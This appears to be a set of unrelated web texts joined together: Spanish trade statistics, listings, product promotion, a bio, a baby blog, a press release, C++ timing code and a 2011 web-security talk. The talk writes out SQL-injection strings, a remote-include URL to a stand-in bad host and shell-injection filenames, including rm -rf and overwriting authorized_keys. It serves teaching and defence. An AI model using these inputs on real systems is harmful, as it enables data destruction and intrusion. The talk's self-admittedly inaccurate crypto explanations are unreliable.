The Spanish trade deficit narrowed sharply to EUR 1.61 billion in April of 2019 from EUR 3.01 billion in the corresponding month of the previous year, as exports advanced 3.8 percent and imports slumped 2 percent.
Spain Posts Largest March Deficit in 7 Years
The Spanish trade deficit widened sharply to EUR 2.35 billion in March 2019 from EUR 0.83 billion in the corresponding month of the previous year. It was the largest trade gap for a March month since 2012, as imports increased 5.2 percent year-on-year while exports dropped 0.5 percent. Considering the first quarter of the year, the country posted a EUR 9.46 billion trade shortfall.
Spain Posts Biggest Trade Gap for February since 2012
The Spanish trade deficit rose to EUR 2.63 billion in February 2018 from EUR 2.17 billion in the same month of the previous year. It is the widest trade shortfall for a February month since 2012, as imports surged 3.6 percent and exports increased at a softer 1.9 percent.
Spain Trade Gap Widens in January as Exports Fall
The Spanish trade deficit widened to EUR 4.48 billion in January 2019 from EUR 3.94 billion in the corresponding month of the previous year. It was the largest trade shortfall for a January month since 2011, as imports rose 0.9 percent year-on-year while exports fell 1.3 percent.
Spain Trade Deficit Widens in December as Exports Drop
The Spanish trade deficit widened to EUR 3.25 billion in December 2018 from EUR 2.05 billion in the same month of the previous year. Imports rose 1.6 percent year-on-year while exports declined 3.7 percent. On a quarterly basis, the trade shortfall advanced to EUR 9.65 billion in the last quarter of 2018 from EUR 9.60 in the previous period. Considering 2018 as a whole, the country's trade gap increased to EUR 33.84 billion, the largest since 2011, from EUR 26.29 billion in 2017 as imports went up 5.6 percent to EUR 318.86 billion and exports rose 2.9 percent to EUR 285.02 billion.
Spain Posts Largest November Deficit in 7 Years
The Spanish trade deficit widened to EUR 2.57 billion in November 2018 from EUR 1.99 billion in the same month of the previous year. It was the largest trade gap for a November month since 2011 as imports rose 3.2 percent while exports fell 0.3 percent. Considering January to November, the trade deficit widened to EUR 30.59 billion, also the largest for seven years, from EUR 24.24 billion in the same period of 2017.
Spain Posts Largest Trade Gap in 9 Months
The Spanish trade deficit widened sharply to EUR 3.84 billion in October 2018 from EUR 2.51 billion in the same month of the previous year. It was the largest trade gap since January as imports jumped 13.1 percent to an all-time high and exports increased at a softer 9 percent. Considering January to October, the trade deficit widened to EUR 28.02 billion from EUR 22.26 billion in the same period of 2017.
Spain Trade Gap Widens in September as Exports Tumble
The Spanish trade deficit increased to EUR 3.30 billion in September 2018 from EUR 2.15 billion in the same month of the previous year. Imports advanced only 0.3 percent to EUR 25.5 billion, as higher purchases of chemical products and energy products were not enough to offset declines in those for equipment goods and automotive products. Meantime, exports tumbled 4.6 percent to EUR 22.2 billion, mainly dragged down by lower sales of equipment goods and automotive products.
Spain Trade Deficit Narrows in August
The Spanish trade deficit narrowed to EUR 3.06 billion in August 2018 from EUR 3.23 billion in the same month of the previous year. Exports rose 7.7 percent year-on-year to EUR 20.7 billion while imports increased at a softer 5.8 percent to EUR 23.8 billion.
Spain Trade Gap Widens 54.7% YoY in July
The Spanish trade deficit increased to EUR 3.25 billion in July 2018 from EUR 2.10 billion in the corresponding month of the previous year. Imports grew at a faster 13.6 percent to EUR 27.6 billion while exports rose 9.8 percent to EUR 24.4 billion.
Spanish Trade Gap Widens in June
The Spanish trade deficit widened sharply to EUR 2.45 billion in June 2018 from EUR 1.26 billion in the same month a year earlier. Exports increased 3.1 percent to EUR 24.72 billion, driven by sales of energy products, chemicals, non-chemical semi-manufactured products and capital goods. Meanwhile, imports jumped 7.7 percent to EUR 27.17 billion. In the first half of the year, the trade gap widened 31.5 percent from the previous year to EUR 14.59 billion, as imports jumped 5 percent to EUR 159.50 billion and exports increased 2.9 percent to EUR 144.92 billion.
Spanish Trade Deficit Widens in May
The Spanish trade deficit increased 50.3 percent to EUR 2.15 billion in May of 2018 from EUR 1.43 billion in the same month a year ealier, as exports dropped 0.2 percent while imports rose 2.5 percent.
Spanish Trade Deficit Widens 154.4% YoY in April
The Spanish trade deficit widened by 154.4 percent to EUR 3.1 billion in April of 2018 from EUR 1.2 billion in the corresponding month of the previous year, as imports rose the most in 13 months and exports advanced 9.5 percent.
BTCUSD 8,574.35 144 -1.65%

redpajama_set_name: RedPajamaCommonCrawl


1364 Myra Road, Porters Lake (MLS® 201903527): This is a great opportunity to own your own place with almost 1 acre of land, whether you are looking to downsize or start out on your own! This mobile home has 2 bedrooms an 1&1/2 bathrooms. The 2 storey, 1.5, powered garage will make anybody happy to have the space alongside a shed to store your wood in. This place has been freshly painted and is ready for it's new owners to enjoy.


The modern hatch proves just that with state of the art technology features, designed cargo area, sleek LED taillights and LED daytime running lights, the 2019 Volkswagen Golf has everything you would want to keep up with busy living. Now available at Dreyer & Reinbold in Greenwood, IN look no further for a vehicle featuring high performance, versatility and high tech at your fingertips. Contact us for further vehicle details or stop into our dealership in Greenwood, IN.
A timeless model, the 2019 Golf continues to change history with a modern hatchback design. Exterior equipment includes: 6-speed manual transmission, 16″ split-V alloy wheels, automatic headlights, LED taillights, and rain-sensing windshield wipers. Engine design features 1.4L Turbo engine, inline four cylinder, 16V, turbocharged/intercooled and TSI, in addition to 147hp. The Golf also performs at 29 City/37 HWY gas mileage.
Dreyer & Reinbold Volkswagen welcomes guests from Mooresville, Fairland, Camby, Needham and Beech Grove Indiana. Stop into Dreyer & Reinbold Volkswagen in Greenwood, IN today to test drive the newest Golf models!


For over 50 years, Hellenbrand, based in Wisconsin, has been offering high quality industry-leading equipment. Many established companies utilize Hellenbrand licensed technology in the manufacture of their equipment. Aqua-Aid Systems chose Hellenbrand as our main product line given their dependibility and constant product improvements.
Innovative offerings feature: no-salt iron removal conditioners, low salt use quantity based regeneration (versus the old time-clock method) of backwashing, and computer generated information on the unit to let you know total water used on a daily basis for the past 63 days — a very important tool for diagnosing leaks and water consumption. Hellenbrand units use much less salt (up to 70% reduction versus older style units) and much less water use in regeneration on both salt and no-salt units.
Aqua-Aid Systems has found Hellenbrand to be the most dependable, problem-free units available. We literally plumb them up, plug them in, and they work year after year. This makes for very happy customers.
Bubble-Up Radon removal systems and npXtra Arsenic removal systems are made by R.E. Prescott, Co. right here in New Hampshire. Since 1954, R.E. Prescott Company's philosophy has been "You Bought The Best." And we agree!
Since they invented the diapraghm expansion tank sixty years ago, Amtrol has been a leading innovator for water system components. With their headquarters located in Rhode Island, Amtrol remains committed to producing the highest quality products—and producing them in the USA.
For years we sold the baby blue colored steel tanks. These tanks worked well but had an unacceptable premature failure rate and rusted often times in less than ten years. With the advent of the newer fiberglass pressure tanks with 100% butyl rubber liners (which are resistant to deterioration commonly caused by exposure to chlorine), these tanks have proven to be a much better choice for our customers.
and they do not plug up with mineral deposits where the water comes into the tank.
Best of all, they are cost less and offer longer cycle times than their comparable steel counterparts. Longer pump cycle times means a longer lasting pump life and lower electrical bills. These tanks carry a full five year 100% material replacement warrantee from date of installation.
However, for the die hards, we do carry the full line of AMTROL baby blue Well-X-Trol products if the customer desires.
Pentiar is a diverse company producing a wide variety of products and solutions for homes and commercial buildings. From their water filtration systems to pumps and pressure tanks, Pentair's products have be helping us deliver clean, safge drinking water to our customers for many years.


Cricket fans, of a certain vintage, might look at the Smith Attack Sunglasses and be reminded of the iconic shades favoured by legendary Aussie leg-spinner Shane Warne. With their aggressive shape and coloured lenses, you can't help but imagine "Warney" wearing these while ripping through England's batting order during another miserable Ashes summer.
Now, of course, not everyone out there cares for cricket so we'll quickly get back to actually discussing what it is about the Attack glasses that make them such a good choice for your bike or trail-based adventures. First things first, a special mention for the additional pair of ChromaPop lenses that come included with the purchase and can be swapped quickly and easily in. The first pair are for bright light conditions while the second pair, the Rose Flash, gives you clear vision in low light.
Smith's ChromaPop are able to filter out two different wavelengths of light. Photo: Chris Johnson.
Smith's ChromaPop lenses, in case you're not already familiar with the tech behind them, are able to filter out two different wavelengths of light. So whereas sunlight has a continuous colour spectrum, ChromaPop lenses separate it into distinct ranges of colour to supposedly improve clarity and enable you to see detail more accurately.
Both pairs of lenses have been treated with a hydroleophobic coating that makes water bead and fall off them almost immediately. What this means for you, in a nutshell, is less time spent having to squint through big blobs of water that stubbornly refuse to remove themselves from your line of sight.
A nice carry case is included with the sunglasses. Photo: Chris Johnson.
Both pairs of lenses have been treated with a hydroleophobic coating that makes water bead and fall off. Photo: Chris Johnson.
Another aspect of the Attack glasses worth bringing up now is the adjustable nose pad, a feature that can be tweaked to make the shades a more comfortable fit for you whether you're a thin-nosed or wide-nosed rider. A special mention also for the product's temples which have been covered in megol rubber for greater levels of grip in wet weather.
Suitable for trail runners, road cyclists and mountain bikers, and offering excellent UV protection, Smith's Attack Sunglasses are difficult to find fault with. They look the business, they do the business, and if you've got a duffed-up old cricket ball to hand they'll no doubt get you turning the ball like none other than Mr Warne himself.
"The Attack Glasses are super light and I barely notice them when riding as they encompass my entire view.
The removable arms are super easy to use when you need to switch lenses and the nose piece is very comfortable and isn't noticeable in your field of view while riding.
They are very close fitting but still give great ventilation when moving to stop any unwanted misting up." – OM Editor, Will Renwick.


text:
SUE/SUM
About Michael A. Clifford
Mike, a co-founder and principal-in-charge at DGT Associates, is a licensed Professional Land Surveyor in Massachusetts and Rhode Island. With over 30 years of experience in surveying and engineering, Mike has worked on a variety of urban development and infrastructure projects in the Greater Boston area – including the historic harbor line mapping, the Central Artery and Ted Williams Tunnel projects. While Mike started in the industry under the guidance of prominent Boston firm, Gunther Engineering, and has great respect for DGT's legacy firms, he is also a strong advocate for the industry's modernization. Mike believes that the integration of cutting-edge technologies with the traditions of the past can thrust surveying and engineering into the 21st century. Mike holds a B.S. in Civil Engineering from Northeastern University. He resides with his wife in Sharon, Massachusetts, and has two sons. He is active in his community as a Troop Committee Chairman in the Boy Scouts of America, Old Colony Council.
Urgent Care Needed: The Importance of Underground Utility Mapping for Hospital Campuses
Michael A. Clifford2020-01-09T19:36:21+00:00
Urgent Care Needed: The Importance of Underground Utility [...]
Urgent Care Needed: The Importance of Underground Utility Mapping for Hospital CampusesMichael A. Clifford2020-01-09T19:36:21+00:00
Why the Future of Development in Boston is Looking Up
Why the Future of Development in Boston is Looking [...]
Why the Future of Development in Boston is Looking UpMichael A. Clifford2019-10-21T17:03:41+00:00
New School: The Importance of Developing Young Surveying Professionals
New School: The Importance of Developing Young Surveying Professionals [...]
New School: The Importance of Developing Young Surveying ProfessionalsMichael A. Clifford2019-05-15T17:59:50+00:00
Campus Planning: Why a digital utility atlas is the key to knowledge succession
Campus Planning: Why a digital utility atlas is the [...]
Campus Planning: Why a digital utility atlas is the key to knowledge successionMichael A. Clifford2019-02-15T22:32:34+00:00
The Surveyor: A Guardian of Wealth
The Surveyor: A Guardian of Wealth [...]
The Surveyor: A Guardian of WealthMichael A. Clifford2019-01-10T14:06:24+00:00
Boston's New Flood Resiliency Plan Takes a Page Out of Its Own History
Boston's New Flood Resiliency Plan Takes a Page Out [...]
Boston's New Flood Resiliency Plan Takes a Page Out of Its Own HistoryMichael A. Clifford2019-01-10T14:06:07+00:00
A Flood of Data: Understanding the True Sea Level in Boston
A Flood of Data: Understanding the True Sea Level [...]
A Flood of Data: Understanding the True Sea Level in BostonMichael A. Clifford2019-01-10T14:04:42+00:00
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Copyright 2020 DGT Associates


I sure love being on the blog with this little babe of mine. She just makes me so happy!
If you haven't heard of NUNA, check them out! You can purchase their items off their site or even Amazon!! They have everything from car seats to play yards!
Baby Charly is officially 3 months old as of yesterday! Say WHAT!!! She is talking like crazy, giving us these little giggles, and she is such a happy baby!! She started trying to roll over after watching her 6 month baby friend do it a few days ago. She gets so frustrated and mad because she can't fully roll over yet. haha It's pretty funny! I can't believe how fast time is going and it makes me a little sad. I am definitely trying to soak in these moments with her!


HOUSTON and LONDON – April 17 2019 - Cell Medica, a leader in next-generation cellular immunotherapies for the treatment of cancer, announced today that its collaborators from Baylor College of Medicine and Texas Children's Hospital will be presenting the latest progress related to its innovative CAR therapy utilizing natural killer T cells (CAR-NKT) at the upcoming 22nd Annual Meeting of the American Society of Gene & Cell Therapy (ASGCT) April 29 – May 2 in Washington, D.C.
Cell Medica is a clinical-stage biopharmaceutical company focused on transforming the treatment of solid and hematological cancers by developing next generation chimeric antigen receptor-natural killer T cell (CAR-NKT) therapies. Developing a portfolio of primarily allogeneic therapies, the company's revolutionary platform engineers CARs on invariant NKT cells (iNKTs), a subset of T lymphocytes. A robust pipeline spanning both hematological and solid tumors is being created in partnership with Baylor College of Medicine and Texas Children's Hospital. Headquartered in London, UK, the company also has facilities in Houston, US and Zurich, Switzerland. For further information, please visit www.cellmedica.com. Follow Cell Medica on Twitter and LinkedIn.
Issued for and on behalf of Cell Medica by Instinctif Partners.


Psychotherapy Counselling Borehamwood, Counsellor Hendon, Psychotherapy Cricklewood & West Hampstead, Potters Bar, Friern Barnet.
I provide counselling and therapy in Mill Hill to clients throughout North West London and Hertfordshire including Hendon, Edgware, Finchley, Barnet, Golders Green, Bushey, Stanmore, Borehamwood, Elstree, Radlett, Shenley and Colindale. How can I help you? Email or call me on 07957 418 985 to talk in confidence without any obligation.
In line with new data protection laws, completing this form gives me your consent to retain your email address in order to send you this article. View my privacy notice for more details.


text:
namespace Intrinsic
{
namespace Core
{
namespace TimingHelper
{
uint64_t previousCounter[_INTR_MAX_TIMER_COUNT] = {};
uint32_t currentTimerIndex = 0u;

void timerStart()
{
  previousCounter[currentTimerIndex] = getMicroseconds();
  ++currentTimerIndex;
}

uint32_t timerEnd()
{
  --currentTimerIndex;
  return (uint32_t)(getMicroseconds() - previousCounter[currentTimerIndex]) /
         1000u;
}

void sleep(uint32_t p_Ms)
{
  std::this_thread::sleep_for(std::chrono::milliseconds(p_Ms));
};

uint64_t getMicroseconds()
{
  return std::chrono::duration_cast<std::chrono::microseconds>(
             std::chrono::high_resolution_clock::now().time_since_epoch())
      .count();
}

uint64_t getMilliseconds() { return getMicroseconds() / 1000u; }
}
}
}

redpajama_set_name: RedPajamaGithub


Given as a talk at Drupal Camp Chicago 2011. Note that this contains some inaccurate information; see the updated version for more.
Cryptography is actually a pretty simple concept. Encrypting and cryptographic hashing simply means that we take an original "plain text" and convert it into something which is more a bit more difficult to understand.
Let's consider an example. Think of the algorithm (ROT2) that takes every letter in the plain text and increments (lexicographically) each letter twice, wrapping on 'z'. This algorithm would turn the plain text would turn 'how are you doing?' into the cypher text 'jqy ctg aqw fqkpi?'. This is an example of encryption.
Encryption isn't the only topic within cryptography, though. Consider the algorithm which counts the number of vowels in the plain text. This would turn 'how are you doing?' into 'a1e0i1o3u1'. This is an example of a cryptographic hash, another form of cryptography.
The first form of cryptography, encryption, is a two-way algorithm. This means that for every 'encrypt' operation, there is an inverse 'decrypt' operation. In our previous example, ROT2 can be decrypted with ROT-2, i.e. decrementing each letter in the cypher text twice to get the original plain text.
Let's not briefly consider when to use encryption over hashing and vis versa. Hashes are most often used for passwords and credit card numbers. They should be used whenever there is a need to verify some information without needing to store that information. Encryption should be used for pretty much everything else. In particular, encryption should be used for any identifying or personal information.
The final quick word in this overview is to emphasize that you should never roll your own cryptographic solutions (e.g. ROT2, VowelCount above.) Use the algorithms that have been vetted by security professionals. These bright men and women have thought through thousands of situations and exceptions which might break the crypto algorithms. The rest of this document will cover a great deal of theory that underlies modern security systems; it's important that you keep the theory in mind, but use someone else' implementation.
Quickly reviewing, remember that hashes are the one-way algorithms that take plain text and turn it in to mush that cannot be converted back. It is most often used for passwords and credit card info. Let's talk about some hashing theory and end with best practices.
We start with salting, which is effectively padding your plain text with predictable noise. As a quick example, the password "how are you doing?" might be expanded to "skjdwejkh9328y9r8sdkjfsdkjhgasdhow are you doing?f32hiu32y498esdh3298ashdq0ieoyrzckjg". Salting has the benefit of preventing a "rainbow table attack." Almost any algorithm that you use for hashing (e.g. md5, sha1, sha256) is publicly known, so mischievous hackers have gone through and generated the cyphered text corresponding to the plain text of billions of passwords. They hash 'a' then 'b' then 'c' . . . then 'aa', 'ab', etc. until they have gigabytes and gigabytes of mappings from a cyphered hash back to the original password; these databases are called rainbow tables. Salting your passwords makes rainbow tables ineffective.
You may notice that the salt I added was concatenated to both the beginning and end of the plain text. This was not arbitrary, but it is also not the best practice. Salt should not be solely added to the beginning due to the block-chaining nature of most hashing algorithms. Salt appended to the plain text is better, and salt on both ends is better still, but there are theoretical attacks on these strategies. Instead, there exists HMAC, a system which intelligently mixes salts with the clear text in a manner that does not have similar vulnerabilities.
That's great, but how do you come up with a salt? We could use a constant string for each entry, which is significantly better than using no salt, but suffers from a pretty obvious flaw. A rainbow table using that salt can be generated just as easily as a rainbow table with no salt. Instead, we want something more dynamic, so we might consider storing a random "nonce" (i.e. one-use string) with each hash. In this situation, it would require one rainbow table per user (or row) to determine the original password. An even better solution is to mix both this nonce and a derivable piece (e.g. the user's id or email address) so that evening having both the nonce and the cypher text would not produce a rainbow table capable of retrieving the original password. Many modern algorithms even store their salt in encoded form in their output cypher text, so there's no need for another column in your database.
Unfortunately, we need more than just salts, as anyone could brute force our authentication mechanism to guess user passwords. If we are using md5, sha1, or many other hashing functions, an attacker could test dozens of passwords a second (hundreds if you have good hardware.) Instead, you'll want to slow the log-in procedure down by using a technique known as "key stretching." This technique usually simply hashes the previous iteration's hash hundreds or thousands of times ("rounds") which makes testing passwords sequentially a slow trudge.
Time isn't the only resource one should consider, however. An intrepid hacker will throw attacks at your in parallel, which will ultimately be limited by your hardware capacity, but still diminishes the security of your login. Further, if your database and application are compromised, such a hacker would be able to spin up a seemingly infinite number of parallel processes to try to crack a user's password. Here, a memory intensive function is a good option; it effectively requires both computer and memory resources, thereby raising the bar beyond the time constraint.
So you now know how you should be encrypting, but unfortunately you have a big database of unsalted, md5ed passwords. What do you do? Luckily, chaining hashing algorithms generally takes on the security of the best algorithm, so if you have an unsalted md5 right now, you can mass update your database by bcrypting all of those entries. When a user next signs in, you would first md5 their password, then bcrypt it before testing for hash equality.
If your web application is developed with Play, your stack likely includes Play, the JVM, a database, a servlet container, a file system, an operating system, etc. If you are running a scripting language, you most likely have something like Drupal, PHP, a database, a web server, a file system, an operating system, email systems, etc. Ultimately, any one of these various applications and libraries could introduce a security vulnerability which might compromise your app. As such, it's pretty critical that all of these libraries be kept up to date.
Note also that each of these segments of your platform stack likely has its own configuration. Do review these configurations, as misconfigurations are #6 on the OWASP top 10 vulnerabilities. Of course, you probably won't be able to go super deep into the lower level tools (what inode is this file?), but you should particularly pay attention to the configurations closest to your app (your framework, web server, database, and VM.) Learn what the Apache directives mean and be sure you aren't listing all files within your /var/www directory when a file isn't found.
Knowing what configuration settings you have isn't enough, though. As these files tend to contain sensitive information (such as database passwords, encryption keys, etc.,) you should try to limit accessibility to only those users that need to know. Further, try to keep a hash of the relevant configuration files and verify that they aren't changing. An attacker who gains access to your system is likely to change these configurations to make his/her job easier, and this is a clear sign of a break-in.
Be aware of your firewall settings and know which ports are open. Arbitrary IP addresses should only have access to HTTP and HTTPS. Use iptables or other firewall tools to limit access to memcache, your database, ssh, and other services to only the IPs that matter. If you need to ssh in from arbitrary locations, use a non-default port. If you are unfamiliar which ports are open, use the nmap tool.
We'll close this section with a bit of a bias. In my humble opinion, if you want the possibility of having a secure system, you really ought to be using Linux or BSD. The Unix user/group permission system is powerful yet simple, allowing you to easily limit access by user/application. Unfortunately, Windows server and Windows desktop share a great deal of code, which means that many of those desktop viruses and malware that make headlines can affect your server in addition to any targeted attacks. Finally, Linux and BSD distros tend to have very sophisticated package managers and repositories. These packages tend to have relatively sane defaults and make keeping up to date simple. Of course, this means you should try to get the other elements in your stack from these repositories rather than compiling them yourself.
At the top of this paper, a encryption was introduced via the ROT-2 algorithm. It's important that we take a note and clarify that no modern encryption algorithm relies on a secret algorithm. In fact, in general, the more widely known an algorithm the better, as this would indicate that it has been publicly reviewed by security researchers. Instead of the algorithm being a secret, modern encryption relies on a secret "key," which can be thought of as a parameter to the algorithm. Consider our ROT-2 example; here ROT (i.e. rotate) may be thought of as the encryption algorithm and 2 the key. The number 7 (rotating each letter 7 times) would be an altogether different key.
It should be clear then, that your most important information is now your key. In many ways, this key is like a password. Just as with a password, the longer the key the better. This key length is generally what analysts are referring to when they say 128-,256-,512-,etc.-bit encryption. Unlike a password, these keys must be generated randomly and are therefore unlikely to be memorizable, particularly given their length. The implication, then, is that your keys will need to be stored somewhere.
We've now pushed off security to the question of where the keys are stored. Imagine if the keys were stored in the database. In this situation, an attacker who managed to steal your database would have both the encrypted data and the keys needed to decrypt it, resulting in almost no benefit from encryption. Instead, you should aim to keep your keys as far away from your data as possible. Consider using a database server which contains all of the encrypted data, but contains no keys. The keys could be provided by the service accessing the database, or even the client-side.
A related goal is that of key granularity. By this I mean the use of different keys for different data. You could have one key for your user table, or one key for your user.first name column, or even a unique key per row. In any case, the more granular your keys, the more you can control access over said data by limiting access to the keys. In this setup, you would provide keys only to the services/users who needed them.
One rule of thumb is to never share keys between your development and production environment. Ideally, your developers would not have access to the production keys. Limiting access means adding firewalls, and the more firewalls you have the less likely you will have a catastrophic failure. In this vein, be sure that when a key is accidentally released (e.g. through an email, an employee leaving, etc.,) you generate a new key and migrate the data from the old key to the new.
An alternative, known as an asymmetric key (or key pair or public key) encryption offers a different set of trade offs. These algorithms generate two keys, one public and one private such that each key can only decrypt a message encrypted with the other. Your public key is used to decrypt data sent to you (which you then decrypt with your private key) and your private key is used to encrypt data you send (which can be decrypted by anyone with your public key.) Asymmetric keys have the upside that they prove authenticity (as only the private key owner could send a message decryptable via the public key) and confidentiality (as only the private key of the receiver can be used to decrypt a message encrypted with the receiver's public key.) A single key pair could also be used to limit read access to certain users and write access to others. Unfortunately, asymmetric key algorithms are much slower than symmetric key algorithms. Often documents send via "public key" encrypt the document via a symmetric key and then encrypt that key with an asymmetric algorithm.
The goal is to retrieve all information about the user whose user name matches the POSTed input field, and if the attacker plays nice and only sends user names, there will be no problem. Consider if the attacker sends the input "' OR '1' = '1". The query now checks for a user whose username matches '' OR any user when '1' = '1', i.e. all users. Consider the input "'; DELETE FROM user WHERE '' = '". Now, the database attempts to find all users with the username ''. When that query ends, the database proceeds to delete all users. Not quite what you expected?
and $_POST['username'] is provided as a parameter. It's now the duty of your database abstraction layer to determine the best way to escape the input (whether it be a string, an integer, etc.).
Presumably, this fragment grabs the node whose id matches the third segment of the url (e.g. 25 in /node/25). Unfortunately, this is no better than the previous example, as the url is provided by the user. One could encode the same injection attacks via a well-encoded url as they could through a text-box. As a security-conscious web app developer, you should be weary of any input a user provides.
What type of input does a user provide? Obviously, the POST and GET parameters (typically coming from forms) are user input. This includes any hidden fields that you have generated or any drop-down menus which you have populated; users can easily tamper with these hidden fields and submit selections which were not originally available, so do not assume that they are limited. As we just mentioned a moment ago, the entire url should be considered user input. This includes the domain name, as a user could easily modify their hosts file to redirect incorrectly. Any cookies that a user provides should also be suspect, even the session id and expires information. If you happen to use the user agent, referrer field, or anything else in the header, you should also recognize that these fields are provided by the users and could easily be forged.
This seems fine enough, particularly if there are a large number of GET parameters you wish to turn in to variables. Unfortunately, imagine the query string ?search=mysearch&is_admin=1.
Dynamically called functions have a similar fate. You might think it's a good idea to have a user's selection determine which method gets called, but what if the user forces a harmful function name; this is a more frightening idea when you combine in with the injection attacks described above. If your architecture relies on this mechanism, be sure to use a white-list of acceptable functions.
This should include the php file associated with the user-selected color. Unfortunately, a malicious user might realize your blunder and use the query ?color=http://somewherebad.com/aweful, which would cause your web server to download the aweful.php file and execute it. For this reason, include files should not be dynamically retrieved unless you are certain the input is safe.
Unfortunately, if the user provides the filename "; rm -rf *" he/she is once again deleting your app. The attacker could also pass the filename "`rm -rf *`" which would perform the same action. Now imagine if an attacker used the filename "somefile.xml; echo "replaced" > /home/yourusername/.ssh/authorized_keys". Now he/she could ssh into your box, a much more serious offense.
Cross Site Scripting is a large enough topic that I've given it its own section, but XSS is technically a form of injection.
Never attempt to manually escape user input with regular expressions - you will miss something. Relying on the functions built into your libraries is significantly better, but again, you really shouldn't depend on them. Bugs are routinely found in these libraries. Instead, you should try your best to architect around the use of dynamically executed code wherever possible.
Before I go to deep into locking down your system, I want to spend a brief moment on a tangent. From a security perspective, shared hosting is quite bad. Shared hosting usually consists of a single physical box with a single Linux installation, where each user gets his/her own home directory. Though I love Linux (a topic which will be expanded in a moment,) there is no way to guarantee that there is no information leakage between customers. Almost all providers will block users from the ability to see each others' files, but misconfigurations and routine maintenance make this less than ideal. Further, as you are all running on the same operating system, it would be relatively easy for a malicious user to dump main memory and find information about your application. Virtual hosting (such as Rackspace or EC2) is better in this regard, but there are known side-channel attacks.
Speaking of bad things, FTP should be avoided at all costs. All messages are sent over plain text; this includes your username, password, and the files which are uploaded and downloaded. FTP should therefore never be used for anything of value, particularly when its functionality is easily replicable with more secure technologies. FTPS, FTP over SSL, is significantly better, but I much prefer using SFTP, FTP over an SSH channel. This technique is particularly useful since SSH will likely be your most common mode of communication with your servers. SFTP is just as easy to use as FTP, and almost all GUI FTP programs can also handle SFTP connections.
Ideally everyone who has access to your SFTP server would have a different username, but if that is not the case, be sure that everyone has a different key. This allows you to quickly remove someone's access by simply removing their key from the authorized_keys file.
SSH (and by extension SFTP) has some very valuable configurations that you should consider. For example, the SSH daemon can be configured to restrict access to certain IPs. Another configuration, which allows the root user to log in over SSH should be turned off. There's no reason you should be logging in to your server as root remotely; instead, log in as a user with sudo privileges. I generally also change the default sshd port; this is security through obscurity, but it does significantly drop the number of malicious login attempts. Finally, sftp itself can be configured to use a "jail" to limit what files can be seen by sftp users.
Consider what happens when we go to a website such as http://www.google.com and search for a term. As this connection is over HTTP, all information sent between me and the server, including my search request and Google's response, are sent as clear text. This means that if I'm on open wireless network, anyone around me can see those messages. Further, any of the nodes in between me and Google also will have access to that data.
This can be good in certain situations, as nodes along the way may be able to cache the data. For a while, large ISPs would cache the traffic of their customers so that the front page of CNN was usually served through your ISP. This has the benefit that the information gets to you faster, and that your ISP doesn't need to pay for the traffic it is sending to CNN.
The downside, of course, is that any confidential information (login credentials, credit cards, etc.) are sent in the clear. The solution to this problem is HTTPS, HTTP over the Secure Sockets Layer (SSL.) You will want to think of this as an encrypted tunnel between you and the server such that no one outside of your conversation can see it. For a time, using SSL implied a small performance hit, as both sides would need to encrypt and decrypt data. Though this hit was small, it has been removed almost completely by the fact that modern processors have symmetric key encryption built in.
Until only recently, websites would require SSL only for authenticating and performing credit card transactions. For example, amazon would require SSL when you signed in, but would drop you back into an HTTP connection while you were browsing. This proved to be problematic as it required users be conscious of whether or not their connection was sent over http or https.
There also arose the problem of session hijacking. You see, when you've logged in to a website, that site will give you a session token which must be presented on each subsequent page view. If you log in over SSL, but the rest of your session is over HTTP, the session token will be visible by the third parties I mentioned above. This came to a boil with FireSheep, a Firefox plugin that would sniff the network for Facebook session ids. It would then literally show you pictures of the users who were logged in around you and if you clicked on one, you would begin using his/her session token, and therefore be logged in as that user. As a result, many websites, including Twitter, Facebook, and Google are moving to an HTTPS-only system.
In general, I'd recommend the use of HTTPS for your entire website, if possible. If you are following this route, be sure to disable HTTP access to your website through your web server configuration. You can easily setup nginx or a similar light-weight solution to redirect all port 80 (HTTP) traffic to 443 (HTTPS.) If for whatever reason, you need to mix HTTP and HTTPS pages, use "secure cookies." These are HTTP cookies with the "secure" parameter; most browsers will respect this parameter and refrain from sending the cookie over HTTP.
I'll close by noting a dark side to SSL. Right now, though anyone can issue their own SSL certificate, browser vendors will only gladly accept those certificates which are "signed" by a "certificate authority" or CA. These CAs are a bit of a cabal; to have your certificate signed, you must pay one of these authorities to "verify" that you do, in fact, own the domain. This is generally as simple as them sending an automated email to your domain. To get a green certificate, you must jump through a few more hoops and spend quite a bit more. Verisign, perhaps the most recognized certificate authority, sells certificates for a few hundred dollars a year. Ideally we'd have an alternate system, and while some have been proposed, none have gained enough backing that you can ignore the present racket. Instead, I'd suggest using a cheaper SSL alternative, like RapidSSL. This won't decrease your security, but will decrease the hit on your wallet.
If you think about it for a few moments, you might realize that almost all of the security we're covering here ultimately boils down to a handful of passwords. These could be your site administrator password, your database password, your sudo password, your bios password, or any other number of critical strings. As a security-minded person, you should become aware of what makes a good password good and know the factors well enough to teach your users.
There are two common attacks on user passwords; let's begin with dictionary attacks. These dictionaries are not from Oxford; they do not begin with aardvark nor end with zyzzyva. There are instead big lists of the most common passwords. Let's take a look at this list, a collection of the most common passwords used on MySpace, Singles.org, and another site whose passwords were leaked in the mid 00's. Do you see any familiar passwords? If the passwords of you or any of the users with authority are on this list, or any top hundred, thousand, etc. most common passwords lists, you need to change them immediately. These passwords are the passwords which make up the dictionary; they will be the first passwords tried by a hacker. I recommend creating a blacklist of passwords and anytime you or your authoritative users create a new password, check that it is not on the blacklist.
The second common attack is what is known as a "brute force" attack. These consist of an attacker walking through all strings in lexicographical order, first trying "a", then "b", and getting to "aa", "ab", etc. By definition, these attempts will eventually succeed, but how can you make them less effective? To consider some server-side techniques (such as key stretching,) take a look at the Hashing Best Practices section.
To create a strong password, use the full character set. Guessing all combinations of lower-case letters of length 8 is much faster than guessing an 8-character string whose characters may be in either case, may include numbers, may include symbols, and may include unicode characters. Another helpful solution is to make the passwords very long -- the longer a password is, the more time it will take to guess if guessing in lexicographical order. Routinely resetting your password (or having the server reset it) provides a good mechanism to reset the efforts of hackers attempting to break into your site. If your password gets reset, there is no way for the attacker to know if their algorithm has already passed your new password. Of course, this should go without saying, but be sure to use different passwords so that if one were compromised, you would continue to be safe with the others.
Note that none of this means your password should be hard to remember. Perhaps you have a small password which is easy to remember and you have some "trick" to expanding that password and making it include more characters. This could include reversing the password, rotating the alphabet, repeating the vowels, ending with the password's length, or any number of other tricks which would be unique to you.
